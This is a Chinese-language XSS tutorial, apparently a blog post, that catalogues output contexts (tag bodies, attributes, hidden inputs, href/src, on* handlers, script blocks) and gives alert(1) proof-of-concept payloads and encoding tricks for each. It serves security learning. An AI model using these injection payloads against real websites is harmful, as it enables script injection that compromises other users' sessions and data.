XSS学习(三)挖掘思路
HTML标签之间
<div id="body">
[输出点]
</div>
payload:<script>alert(1)</script>
HTML标签之内
<input type="text" value=" [输出点] ">
payload:
1." onmouseover=alert(1) (闭合属性)
2." ><script>alert(1)</script> (闭合属性与标签)
当script标签没有被过滤的时候可以使用payload2,当script标签被过滤的时候可以使用payload1
假设有如下情况:
<input type="hidden" value=" [输出点] ">
这个时候
无法使用闭合属性的payload,因为hidden标签会先被浏览器识别
当hidden标签在输出点之后时
<input value=" [输出点] " type="hidden">
可以使用闭合属性的标签1 " onmouseover=alert(1) type="text
这样不仅把payload写入了页面,同时提前将type类型定义为text,这样后面的hidden就失效了
****
输出在src/href/action等属性内
<a href=" [输出点] ">click me</a>
payload:
javascript:alert(1) //伪协议浏览器都会支持
或者
data:text/html;base64;PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
(现版本的ie,chrome,firefox均不支持)
**输出在on*事件内**
on*时间是可以执行javascript脚本的,根据场景弄清楚不同的闭合策略即可
<a href="#" onclick="eval(‘[输出点]’)>click me</a>
payload:alert(1)
在Javascript代码中
<script>a=" [输出点]"</script>
payload:
</script><script>alert(1)
";alert(1)
HTML与Javascript编码
例:
A:
<input type="button" id="exec_btn" value="exec" onclick="document.write(htmlEncode('<img src=@ onerror=alert(1) />'))"/>
B:
<input type="button" id="exec_btn" value="exec" onclick="document.write('<img src=@ onerror=alert(1) />')"/>
A与B两个例子,谁会执行alert(1)?
javascript出现在html标签中,javascript可以进行html编码
1.进制编码:&#xH; &#D;
2.HTML实体编码
在javascript执行前,浏览器会进行html转码,所以在A例中,当浏览器执行过一次htmlencode之后,会执行script脚本,但是此时尖括号已经被转成了html的实体编码,所以A不会执行alert(1)
当输入内容出现在javascript中的时候,需要遵循javascript编码规则
1.unicode:\uH
2.普通十六进制:\xH
3.转义:在特殊字符前加\转义(\' \" \<)
javascript在执行前会自动解码
****
具备htmlencode功能的标签
<title></title>
<iframe></iframe>
<noscript></noscript>
<noframes></noframes>
浏览器解码顺序
HTML解码 -> URL解码 -> js(unicode)解码
XSS学习(三)挖掘思路的更多相关文章
- PostMessage xss学习和挖掘
PostMessage xss很有趣,在国外出现了很多次,国内src/众测从没遇到过,挖到过.可能境界还不够,有机会再去试试.好几年前记得心血来潮学过一次,都是半知半解,后来因为重要性不高,不了了之了 ...
- HTTP学习三:HTTPS
HTTP学习三:HTTPS 1 HTTP安全问题 HTTP1.0/1.1在网络中是明文传输的,因此会被黑客进行攻击. 1.1 窃取数据 因为HTTP1.0/1.1是明文的,黑客很容易获得用户的重要数据 ...
- 第四次:渗透练习,xss学习
xss学习 一.学习目的 初步了解xss攻击,不包括(DOM类型) 二.附加说明 1.xss介绍 https://baike.baidu.com/item/XSS%E6%94%BB%E5%87%BB/ ...
- 机器学习:scikit-learn 文档、深入学习机器学习的思路
一.scikit-learn 的文档查阅 网页访问 scikit-learn 的文档: scikit-learn.org —— Document —— User Guide: scikit-learn ...
- PHP代码审计4-漏洞挖掘思路
漏洞挖掘思路 漏洞形成的条件 1.变量可控制 2.变量可到达有利用价值的函数(危险函数) 漏洞造成的效果 漏洞的利用效果取决于最终的函数功能,变量进入什么样的函数就导致什么样的效果 危险函数 文件包含 ...
- TweenMax动画库学习(三)
目录 TweenMax动画库学习(一) TweenMax动画库学习(二) TweenMax动画库学习(三) ...
- Struts2框架学习(三) 数据处理
Struts2框架学习(三) 数据处理 Struts2框架框架使用OGNL语言和值栈技术实现数据的流转处理. 值栈就相当于一个容器,用来存放数据,而OGNL是一种快速查询数据的语言. 值栈:Value ...
- 【转载】目前主流过滤XSS的三种技术
目前主流过滤XSS的三种技术 过滤 过滤,顾名思义,就是将提交上来的数据中的敏感词汇直接过滤掉.例如对"<script>"."<a>". ...
- 【老司机经验】CC2530&STM8S105二合一嵌入式学习板设计思路与经验分享
CC2530&STM8S105二合一嵌入式学习板设计思路与经验分享 1.缘起 这些年来一直在其他公司的实验箱和别人的开发板上进行教学与开发工作,总是觉得功能设计不那么合意.心里突然冒出个 ...
随机推荐
- SQL-57 使用含有关键字exists查找未分配具体部门的员工的所有信息。
题目描述 使用含有关键字exists查找未分配具体部门的员工的所有信息.CREATE TABLE `employees` (`emp_no` int(11) NOT NULL,`birth_date` ...
- 自定义Hook
在 class RegForm(form.Form) 中 1.验证两次密码是否相同 from django.core.exceptions import ValidationError def cle ...
- 基于IntelliJ IDEA开发工具搭建SSM框架并实现页面登录功能详细讲解二
接: 接下来配置类 UserController package com.chatRotbot.controller; import com.chatRotbot.model.User; import ...
- 伪Ajax-iframe
由于HTML标签的iframe标签具有局部加载内容的特性,所以可以使用其来伪造Ajax请求. <!DOCTYPE html> <html lang="en"> ...
- pytest自动化7:assert断言
前言:assert断言就是将实际结果和期望结果做对比,符合预期结果就测试pass,不符合预期就测试failed. 实例1:简单断言 实例1优化版--增加异常信息文字描述 异常断言 excinfo 是一 ...
- 给大家介绍一个实用的RN神器DeviceEventEmitter
再不出来更新一下自己都感觉不到自己还存在了,这个监听最常用的地方莫过于单选和全选了,,当然远不止这个了,大家可以自己去多尝试几波,举个栗子 A组件全选所在 //全选 choose(bool){ //选 ...
- MyBatis最原始的实现curd的操作
关于jdbc的缺点: 1.数据库链接创建释放频繁造成系统资源浪费从而影响系统性能.如果使用数据库连接池可以解决此问题. 2.sql语句在代码中硬编码,不利于维护,sql变动需要改变java代码 3.使 ...
- c#计算器
代码没有大的问题,但是起初点击控件无反应,原因是事件代码要自己敲,不能直接粘贴. using System;using System.Collections.Generic;using System. ...
- jar包是干什么用的
1.JAR(Java ARchive)是将一系列文件到单个压缩文件里,就象Zip那样.但是,同Java中其他任何东西一样,JAR文件是跨平台的,所以不必关心涉及具体平台的问题.2.jar包就是别人已经 ...
- 在Linux系统使用VMware安装虚拟机
首先到VMware官网上www.vmware.com下载相应的版本 我这边用的是 VMware-Workstation-Full-12.5.0-4352439.x86_64.bundle 上传到Lin ...